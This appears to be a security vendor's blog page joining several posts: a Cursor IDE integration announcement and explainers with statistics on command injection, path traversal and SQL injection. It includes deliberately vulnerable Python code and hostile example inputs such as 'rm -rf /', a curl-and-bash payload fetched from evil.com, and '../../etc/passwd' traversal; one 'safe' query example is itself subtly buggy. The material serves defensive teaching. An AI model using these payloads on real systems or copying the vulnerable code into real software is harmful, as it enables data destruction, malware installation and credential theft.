Welcome to our blog.

Cursor AI has quickly become the hot AI code editor, rapidly gaining popularity with developers looking to write code faster and more efficiently. But while Cursor accelerates coding, how can devs trust that Gen AI code is secure?

TL;DR: with Aikido x Cursor, devs can secure their code as it’s written generated.

If you’ve missed the hype so far, Cursor is an “AI Native” IDE built on VSCode. It operates in an increasingly crowded field of Gen AI coding copilot startups, competing with Github Co-pilot, Cognition, Poolside, Magic, and Augment amongst others.

While Cursor was founded in 2022, but it wasn’t until mid-2024 that Cursor began its meteoric rise to the front of the Gen AI code race, around the same time that Cursor added Sonnet 3.5M as their default model... Below is a snapshot from last week’s ‘The Pragmatic Engineer” by Gregely Orosz, the #1 tech newsletter on substack, covering how developers rank different IDEs with GenAI features:

While respondents are likely mostly early adopters, it is still pretty impressive to see Cursor as a new entrant capturing hearts & minds so quickly. It’s no surprise they’ve since raised $60m in Series A funding from Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown, and the founders of Stripe, GitHub, Ramp, Perplexity, and OpenAI, among others.

That’s why Aikido Security is excited to launch our new integration with Cursor AI. Aikido x Cursor brings real-time security into the Cursor IDE, helping developers write and generate secure code from the start—without breaking stride.

How the Integration Works

Today you can integrate Aikido directly into your Cursor IDE. Aikido will scan your codebase for secrets, API keys and SAST code issues as you develop, whenever you open or save a file.

If any issues are detected, Aikido highlights them in the editor and displays issues in the Problems panel. When you hover over a detected SAST issue, additional tl;dr context about the problem is provided. In some instances, you can even fix issues with Cursor’s suggestions in chat (though its still rusty).

1. Detect Vulnerabilities Instantly
   Aikido scans code as it’s generated, identifying security vulnerabilities in real time. Clear, concise explanations ensure you know what the issue is and why it matters—no overcomplicated reports.
2. Fix Issues with One Click
   When a vulnerability is flagged, Cursor can generate fix suggestions in one click. You can apply it directly from within Cursor’s chat interface. Be aware that not all of Cursor’s suggestions are valid.
3. Stay Focused
   Everything happens within the Cursor IDE. There’s no need to switch tools, run external scans, or juggle separate platforms. Aikido integrates seamlessly into the IDE, so you can focus on building while knowing your code is secure.

Why It Matters

There’s no doubting the impact Gen AI will have on engineering. AI code generators or co-pilots are not infallible. On one hand, Gen AI can be used to increase security (more on this very soon!). On the other hand, they will also inevitably introduce vulnerabilities as well. We are all waiting for the day that AI can finish the nitty gritty. Today we are a step closer.

This integration allows developers to stay in the fast lane and build secure applications while leveraging the best of AI-driven tools while being assured the output is secure. Get security done. Get back to building.

Get Started

The Aikido integration is available now for Cursor users. For now, you will need a paid subscription to integrate. Follow the steps below:

Step 1. Head over to the Visual Studio Code Marketplace and follow the instructions on how to install an extension in Cursor.

Step 2. In Aikido, go to the Cursor IDE integration page and create your token.

Step 3. Check out the examples in our docs on the Visual Studio Marketplace to test whether everything works well.

Step 4. Get back to building.

Secure your code as it's written generated.

If you missed it, over the summer months launched our product on the AWS Marketplace with the promise to deliver the fastest “time-to-security” in the industry for new AWS users.

We’ve also officially joined the AWS Partner Network (APN) as a validated AWS partner.

This means we went through the AWS Foundational Technical Review (FTR). We are FTR-approved* and meet the well-architected best practices enforced by AWS, not to brag. ;)

Psst. You’ll soon be able to use Aikido to achieve FTR approval. We’re mapping Aikido functionality to the FTR security process, so you can get up, running, and co-selling with AWS fast. Interested? → sign up here and you’ll be the first to know when.

Beyond the snazzy partner badge, we’re excited to be an official AWS partner to unlock greater access to the AWS community. We can better serve cloud-native customers, cut-out unnecessary complexity in the customer journey, and expand our own Cloud Security Posture Management (CSPM) product for AWS Cloud users.

Why add Aikido to your AWS bill?

Aikido Security provides comprehensive code-to-cloud coverage, aligning well with AWS’s full-stack capabilities. This is especially valuable for AWS customers managing both application and cloud security on a unified platform.

The direct integration with AWS environments simplifies deployment, enabling Aikido to scan for vulnerabilities across AWS services like EC2, S3, Lambda, and more – enhancing security visibility within AWS and complementing cloud-native architecture. Aikido's AWS posture management is built on AWS Inspector. We can show you findings that can cause hackers to gain initial access to your cloud.

Further, Aikido’s built-in compliance checks align with major standards (SOC2, ISO 27001, NIS 2, HIPAA), making it easier for AWS clients to maintain compliance across AWS’s infrastructure, which is especially valuable for regulated industries.

Interested to check it out? Come find us on the AWS marketplace

What is Command Injection?

Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. So how prominent is command injection actually? We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common!

Example of Command Injection

Consider this example of command injection, let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

The above code expects a user to insert a file name like file.txt , but instead a malicious user injects some code to run malicious commands.

For example
Name of file: file.txt; rm -rf /

This input would first display the contents of file.txt and then execute the malicious rm -rf command, which will forcibly delete all the files in a directory.

The malicious user can do this because the application did not validate or sanitize the user's input making the application susceptible to command injection.

If you would like a more comprehensive example see the bonus content at the bottom of this page.

Command Injection in Numbers: Our Research

• 7% of all vulnerabilities found in open-source projects in 2024 were command injection
• 5.8% for closed-source projects!
• An increase in the total number of command injection vulnerabilities in open-source projects from 2,348 (2023) to an expected 2,600 (2024).
• As a percentage of all vulnerabilities, Command injection is getting less popular: a decrease of 14.6% and 26.4% for open-source and closed-source projects respectively from 2023 to 2024

Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.

Overall the number of command injection vulnerabilities is very high with 7% of allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. This is quite close to the number of SQL injection vulnerabilities found.

There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the FBI and CISA in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard.

The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600)

How to Prevent Command Injection

Preventing command injection vulnerabilities requires a multi-faceted approach:

Server-side Input Validation

A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.

import subprocess

# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated

if user_input in allowed_files:
    subprocess.Popen(['ls', '-l', user_input])
else:
    print("Invalid input!")

Avoid shell commands

Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.

with open("file.txt", "r") as f:
print(f.read())

Automated Testing

Use tools like Aikido to scan your source code and application to discover these vulnerabilities.

Use an in-app firewall

One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands. Aikido’s in-app firewall Zen is available in open-source and commercial is able to detect and block injection attacks at run time.

Apply the Principle of Least Privilege

Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.

The road forward

Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement.

Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.

Bonus Content

A History of Command Injection: Prominent Breaches

Command injection has been a persistent threat for a long time. In fact, there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024, the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.

1. Early Days of Command Injection

• First Known Usage: Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.
• 1980s and 1990s: The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.

2. Significant Breaches and Exploits

• 1998: The First Documented Web-based Command Injection Attack: A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.
• 2010: Stuxnet Worm (Embedded Command Injection): Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.

3. 2010s: Exploitation at Scale

• 2014: Shellshock Vulnerability: Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.
• 2018: Cisco ASA VPN Exploit (CVE-2018-0101): A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.

4. 2020s: Modern Exploits and Trends

• 2020: Citrix ADC Gateway Exploit: Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.
• 2023: MOVEit Vulnerability (SQL and Command Injection): A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.

Realistic command injection vulnerability

The Vulnerable Code

Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the /archive route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
    files = request.form.get('files')  # User provides file names to archive
    archive_name = request.form.get('archive_name')  # User provides archive name
    
    command = f"zip {archive_name}.zip {files}"  # Command built dynamically
    os.system(command)  # Execute the system command

    return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
    app.run(debug=True)

How It Works

The user supplies:

• files (e.g., file1.txt file2.txt) to specify which files to include in the archive.
• archive_name to specify the name of the resulting zip archive.

The code constructs a shell command dynamically:

1. zip archive_name.zip file1.txt file2.txt

2. The os.system() function executes the command, allowing the user-provided inputs to dictate its behavior.

Exploitation

An attacker exploits this by injecting additional commands into the archive_name or files inputs.

Input Provided by the Attacker:

• archive_name: my_archive; rm -rf /
• files: file1.txt

The Resulting Command:

zip my_archive.zip file1.txt; rm -rf /

1. zip my_archive.zip file1.txt: Creates an archive as expected.
2. ; rm -rf /: Deletes all files on the server by executing a separate destructive command.

A More Sophisticated Example

The attacker might exploit this to download malware or exfiltrate data:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resulting Command:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

This command:

1. Creates an archive (zip archive.zip file1.txt).
2. Downloads malicious code (curl -o malware.sh http://evil.com/malware.sh).
3. Executes the malware (bash malware.sh).

Path traversal, also known as directory traversal, occurs when a malicious user manipulates user-supplied data to gain unauthorized access to files and directories. Typically the attacker will be trying to access logs and credentials that are in different directories. Path traversal is not a new vulnerability and has been actively exploited since the 90s when web servers gained popularity, many relied on Common Gateway Interface (CGI) scripts to execute dynamic server-side content.

With such a long history, is path traversal still popular today? We conducted a study of both open-source and closed-source projects to gather data to see how common path traversal was in 2024 and if we are improving, Spoilers we aren’t.

Path traversal example

So how exactly does path traversal work? Let's look at a simple example.

In this simple application, a user is given a file to download via a variable in the URL.

There is some simple backend Python code handling the request.

import os  

def download_file(file):     
    base_directory = "/var/www/files"     
    file_path = os.path.join(base_directory, file)          
    
    if os.path.exists(file_path):         
        with open(file_path, 'rb') as f:             
             return f.read()    
    else:         
       return "File not found"

Now as the variable is supplied in the URL we can change it to something like this file=../../../../etc/passwd

Here the attacker is using the ../../ to traverse up the directory structure to the system root level and access the passed file potentially gaining access to sensitive information.

If you want to see how this method could be secured scroll down to bonus content.

In more complex scenarios involving multiple layers of directories or encoded characters (e.g., %2e%2e%2f), attackers can bypass basic filters and gain deeper access into the file system.

Path traversal by the numbers

• 2.7% of all vulnerabilities found in open-source projects in 2024 so far were path traversal
• 3.5% for closed-source projects!
• An increase in the total number of path traversal vulnerabilities in open-source projects from 742 (2023) to an expected 1,000 (2024).
• As a percentage of all vulnerabilities, path traversal is getting more common with a massive increase in closed-source projects of 85%

Our research focused on researching both open-source and closed-source projects to reveal how many had path traversal vulnerabilities hiding within.

Overall the number of path traversal vulnerabilities is lower than some others we have researched such as Command Injections, or SQL Injections. But considering that this vulnerability can be very dangerous and has well-documented solutions to prevent it, it is alarming to see the numbers as high as they are. It is even more alarming to see the trends for this vulnerability going in the wrong direction. f

Open Source Projects

In open-source projects, path traversal accounted for 2.6% of all reported vulnerabilities in 2023. This figure saw a slight increase in 2024, rising to 2.75%. While this increment may seem marginal at first glance, it underscores ongoing challenges in securing open-source software against even simple vulnerabilities.

Closed Source Projects

The most notable trend was observed in closed-source projects where path traversal incidents surged from 1.9% in 2023 to 3.5% in 2024—a substantial increase of 85% highlighting an alarming trend of this kind of vulnerability.

The bad news unfortunately doesn’t stop there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 742 in 2023 to 917 so far in 2024 (expected to reach 1,000)

Preventing Path Traversal

Preventing command injection vulnerabilities requires a multi-faceted approach:

Input Validation

• Sanitize user inputs: Strip out or encode dangerous characters such as ../, ..\, ..%2f, or other variations.
• Allowlist approach: Define a strict set of permissible inputs (e.g., file names or paths) and reject anything outside this list.

Restrict File Access

• Use a chroot jail or sandbox: Limit the application’s file access to a restricted directory, ensuring it cannot traverse beyond the intended directory tree.
• Set root directories: Define base directories and ensure all paths are relative to them. Use APIs or frameworks that enforce this, such as:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() in Java.
  os.path.realpath() and os.path.commonpath() in Python.

Secure File Access APIs

• Use secure file access methods provided by modern libraries or frameworks:In Java, use Files.newInputStream() or Files.newBufferedReader() for safe file handling.
  In Python, ensure you validate file paths before accessing them.

Use Environment Restrictions

• Set restrictive file system permissions:Ensure the application has only the minimum required privileges.
  Deny access to sensitive directories (e.g., /etc, /var, /usr, and user home directories).
• Disable unnecessary features in web servers or frameworks (e.g., symbolic link following).

Automated Testing

• Use tools like Aikido to scan your source code and application to discover these vulnerabilities.
• Both SAST and DAST tools should be used together along with domain scanning and cloud security to ensure you have no hidden path traversal vulnerabilities.

Use an in-app firewall

• One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands.

The road forward

Path traversal is a vulnerability that has been present since the beginning of web apps and while it is often quite simple, it can also be a very devastating exploit. This makes it so concerning that such a large percentage of projects are still struggling with such issues. While 3.5% does not seem like a high number, it is quite remarkable that the number is growing in popularity despite its clear continued and well-documented threat.

Path traversal isn’t a vulnerability that is going away but the good news is that there are clear ways we can find these vulnerabilities in our application and remediate any issues we find.

Bonus Content

Real-World Incidents

There have been several high-profile breaches or vulnerabilities in recent years that involved path traversal as either the primary point of entry or as part of a chain of vulnerability

Microsoft IIS Unicode Exploit (2001)

One of the earliest high-profile path traversal exploits targeting Microsoft IIS servers. Attackers used encoded paths to bypass validation mechanisms (e.g., using %c0%af to represent /). This allowed them to access and execute files outside the web root directory.

This enabled the deployment of malware and defacement of numerous websites.

Fortinet VPN Path Traversal (2019)

Fortinet's SSL VPN was found to have a directory traversal vulnerability (CVE-2018-13379). Attackers exploited this flaw to access sensitive system files, such as plaintext passwords for VPN users.

Thousands of VPN credentials were leaked online, exposing organizations to unauthorized access and further attacks.

Capital One Breach (2019)

What happened: While the primary cause was an SSRF vulnerability, the attacker also leveraged directory traversal in accessing AWS S3 bucket metadata. The attacker exploited misconfigurations to retrieve configuration files that should have been inaccessible.

This exposed personal data of 106 million credit card applicants.

Path Traversal in Kubernetes Dashboard (2020)

The Kubernetes Dashboard had a directory traversal flaw (CVE-2020-8563). Attackers exploited this to read sensitive files in the container, including secrets stored in /etc.

When deciding what approach to use for security tooling, it seems like there are two choices.

1. Sell your left kidney and buy the enterprise solution whose name is on the side of a Formula 1 car.

2. Pick the free open-source tool that swipes right on more false positives than a dating app during a lonely Friday night.

Like everything in security, there is more to unpack in reality. In this article I want to explore when open-source security tools should be used, when commercial tools are more effective, and if we can trust tools built from an open-source core.

Build vs Buy (the open-source cost trap)

As you grow your company, you will soon realize that the choice between open-source and commercial is more a choice between building tools or buying tools. Open-source provides a great starting point but they lack a lot of the features you need, dashboards, integrations, compliance reporting, remediation workflows, false positive filtering, and vulnerability prioritization, to name a few. So the idea that open-source is free simply isn’t true. This can be an advantage though, building as you go stretches out the initial investment and you can focus on features that are important to you. It means you aren’t relying on a vendor to deliver the feature they ‘promised’ they would deliver in Q3 2 years ago.

There are plenty of negatives to consider when building on top of open-source tools. Firstly not only will it take significant development time to build out these tools but it will also require continuous maintenance. Security tools can also block production when they are integrated into elements like CI/CD pipelines for example. This means when they fail or crash, they can cause losses in productivity with no support to help you get back online.

What about the buy option then? Firstly there is no ramp-up period, you get complete coverage right from the beginning which results in less security debt later on. You also don’t lose the opportunity cost of taking engineering teams off your core objectives to focus on building features for internal tools. In the fast-paced startup world, don’t underestimate the value of this.

Open-source vs commercial

Are commercial tools better at vulnerability discovery?

So far we have talked about all the tool's features without even asking possibly one of the most important questions. What will find more vulnerabilities? Generally speaking, the core functionality of open-source tools will often match their commercial counterparts in their ability to find vulnerabilities. Where commercial tools will pull ahead though is their ability to filter out false positives and prioritize their findings.

It is very often commercial tools that are built on open-source projects. For example, let's take Zen by Aikido, a full-featured in-app firewall that is designed to stop threats at runtime. So is it better at detecting run-time threats and stopping them than an open-source equivalent, not really, because it's based on an open-source project, AikidoZen. The value of the enterprise version is in its additional features like analysis, rule creation, deeper understanding of Your specific threats, and ease of deployment, all things you would need to build yourself if you used the open-source version in an enterprise. So open-source isn’t necessarily worse, it just is missing the next stage of triage.

Note: Benchmarking tools against vulnerabilities found can also be very tricky. A great security tool might find fewer vulnerabilities because it is better at removing false positives based on context. Therefore the better tool isn’t always the one that finds the most, more often than not it's the opposite.

Powered by open-source built for enterprises

So open-source is too much development and the commercial is too expensive, how about a happy medium? Full-featured tools that use open-source at their core are not a new concept. Some of the most successful security products in the world use open source at their core like, Hashicorp Vault, Elastic Security, and Metaploit to name a few. There are many reasons why these tools do so well and it’s probably not for the reasons you think.

Cost-effectiveness

Open-source powered tools not only need to compete with alternative commercial tools, they also must compete with their open-source base. That means their value must be proven and transparent often resulting in a more cost-effective offering.

Power of the community

Often open-source tools are maintained and built by commercial companies, like Aikido Zen. Tools that are based on open-source are not just done so to reduce development time, but also because founders believe fundamentally in the power of open-source. Open-source tools are often faster at building features because they have a community behind them, it also means that if you have a specific and niche problem you can introduce it to the tool yourself.

Transparency

Often buying commercial tools can be a little like buying a car without seeing its engine. How good/reliable is it in the long term? It is easier to hide weaknesses when someone can’t peer into the engine. Open-source powered tools cannot hide their engine so it is easier to feel confident in the tool itself.

Commercial Features

As stated before, because an open-source-powered tool is often competing with both commercial alternatives and open-source tools it has to stand proudly behind its additional features. This will mean everything you expect from a commercial tool but often quite a bit more. Because the product benefits from a well-defined open-source base, attention can be spent on improvements which are ultimately passed onto the end user.

So what do I choose (final thoughts)

We have discussed the advantages of open-source, commercial, and open-source powered security tools. I think it is clear from my tone that as the author I love the open-source community and believe open-source-powered tools to be a compromise on price without a compromise on features. It is of course idiotic to say that there is no reason why in some scenarios where a pure commercial version is better. There are great innovative solutions out there that are entirely closed-source. But my ultimate point is that just because something is based on an open-source project, it doesn’t mean it will compromise in ability or features. And because it needs to prove its value in complete transparency, it often offers deeper features and value.

Aikido security was created by developers for developers to help get security done. We a proud of our open-source heritage and would love for you to come see it in action for yourself.

Get Started With Aikido Security For Free

SQL injection (SQLi) has a history that is older than Internet Explorer (which according to Gen Z was the start of civilization). There have been thousands of breaches caused by SQL injection and an endless amount of well-documented best practices and tools to help prevent it. So surely, surely we learned our lesson from these breaches and SQLi is no longer an issue.

We have been monitoring the number of SQL injections discovered in open-source and closed-source projects to see if we are getting better. With the recent news coming that stolen data from the MOVEit SQL injection breach is bring sold for companies like Amazon, we decided to give you a sneak peek into our up-and-coming State of Injection report for 2025.

Spoiler, turns out we are still terrible at preventing SQL injection.

What is SQL injection?

SQLi is a vulnerability that occurs when a program uses untrusted user input directly in a query to a SQL database. A malicious user can then insert their own code and manipulate the query allowing the malicious user to access private data, bypass authentication or delete data. The example below shows how an insecure SQL query for a user login page is vulnerable to an SQLi authentication bypass attack.

There are many different types of injection attacks like code injection or cross-site scripting (XSS). But SQLi specifically has played a prominent role in breaches for a very long time and comes as a shock to many that we still need to discuss this in 2024.

How an SQLi attack happens

1. Vulnerable query
Example of a vulnerable query where user input is directly used in the query

2. SQL injection attack
SQL is injected into the user input field of an authentication page

3. Query run with payload
Payload comments out the password check so the query ignores this step

SQL injection by the numbers:

• 6.7% of all vulnerabilities found in open-source projects are SQLi
• 10% for closed-source projects!
• An increase in the total number of SQL injection in open-source projects (CVE’s that involve SQLi) from 2264 (2023) to 2400 (2024) is expected.
• As a percentage of all vulnerabilities, SQL injection is getting less popular: a decrease of 14% and 17% for open-source and closed-source projects respectively from 2023 to 2024
• Over 20% of closed source projects scanned are vulnerable to SQL injection when they first start using security tooling
• For organizations vulnerable to SQL injection, the average number of SQL injection sites is nearly 30 separate locations in the code

We reviewed how many SQLi vulnerabilities were discovered in open-source packages in 2023 and so far in 2024. We then compared that to closed-source projects that have been discovered by Aikido Security. Unsurprisingly, we are still seeing shocking numbers of SQL injection in both closed and open-source projects. 6.7% of all vulnerabilities discovered in open-source projects in 2024 are SQL injection vulnerabilities while 10% of vulnerabilities discovered in closed-source projects were SQL injection vulnerabilities. This may not seem like a lot but it is frankly shocking that in 2024 we are still struggling to cope with some of the most basic vulnerabilities we know of.

The only good news we have is that this number is a 14% decrease from 2023 in open-source and a 17% reduction in closed-source projects as a percentage of all vulnerabilities found. However, the total number of SQLi found is expected in increase from 2264 in 2023 to over 2400 by the end of 2024 in open-source projects.

Preventing SQL injection

Apparently, there isn’t enough information on the internet just yet on how to prevent SQL injection so here is an overview of the options available in 2025:

1. Use Prepared Statements and Parameterized Queries

In the example at the start of this Blog Post, we showed vulnerable code because it takes untrusted user input and uses it directly in a query. To avoid this we should use prepared statements which means defining your query first and then adding user input later. This separates the command and data stream, fixing the problem completely. A great solution, but not always possible or used!

import sqlite3
conn = sqlite3.connect('example.db') 
cursor = conn.cursor()
user_id = 5  # Example safe input 
# Safe query using parameterized query 

cursor.execute("SELECT * FROM users WHERE id = ?", (user_id))

2. Server-side input/schema validation

Input validation can be effective in preventing SQLi. For example, if your API expects an email address or a credit card number, it’s easy to add validation for those cases.

3. Use SAST & DAST tools to discover SQLi

One of the most terrifying elements of SQLi is that it is easily discovered by adversaries often being described as a low-hanging fruit vulnerability. Part of this reason is because tools like DAST can automatically discover them. This can be used to our advantage and we can introduce these tools into our development process to catch them early.

Next-gen SAST tools like Aikido also allow you to autofix the issues right from within the platform.

4. Implement an in-app firewall

An in-app firewall monitors traffic and activity inside your application and can detect attacks including injection and SQLi. This is more effective than a traditional WAF as it sits inside your application and is able to tokenize expected queries and block requests that change the command structure of the query.

Shameless plug ;) for Aikido’s new launch: Zen, the in-app firewall for peace of mind at runtime. Get Zen and it will automatically block critical injection attacks and zero-day threats in real-time, before they ever reach your database.

5. Avoid Dynamic SQL Where Possible

Dynamic SQL generation through string concatenation is highly vulnerable to SQL injection. Whenever possible, stick to static, pre-defined queries and stored procedures that don’t rely on user-generated content for SQL structure.

6. Allowlisting and escaping

In some cases, you cannot avoid Dynamic SQL, such as when querying dynamic tables, or when you want to order by a user-defined column and direction. In those cases you have no other option than to rely on regular expression allowlisting or escaping. Escaping is taking user input that contains dangerous characters used in code like ‘>’ and turning them into a safe form. Ether by adding backslashes before them or transforming them into a symbol code. Note that this is different not only for each database type but can also depend on connection settings such as charset.

Will we ever see the end of SQLi?

While there is some promise in the fact we have seen a somewhat significant decrease in the number SQLi vulnerabilities found it is still disheartening to see that a vulnerability that predates the game DOOM is still such a significant threat to the landscape. The truth is, I can’t see this getting much better. As we introduce more tools to help us code faster, developers are getting less in touch with the core coding principles and these AI tools are notoriously bad at suggesting vulnerable code with injection vulnerabilities included.

It is not all Doom and gloom (pun intended) though, we are seeing significant improvements in a new generation of SAST tools that are far more effective at discovering and fixing these vulnerabilities has the ability to drastically change the threat landscape.

Signing off for now, don’t forget to:

Discover and automatically fix SQL injection with Aikido AI SAST Autofix

Checkout Zen and prevent injection attacks as they happen

Bonus: SQL History throughout history

Ever since we started talking about security in our applications we have talked about SQL injection. It was even featured at number 7 on the very first OWASP top 10 chart in 2003, in 2010 was included in the injection category and took the number 1 spot until 2021. One of the first large-scale attacks documented involving SQL injection was when the clothing company Guess was targeted resulting in the leak of credit card numbers. Since then SQL injection has been a regular guest among security headlines.

Bonus Pt 2 - Check out Injection Attacks 101 to get the an introduction to SQL injections, code injections, and XSS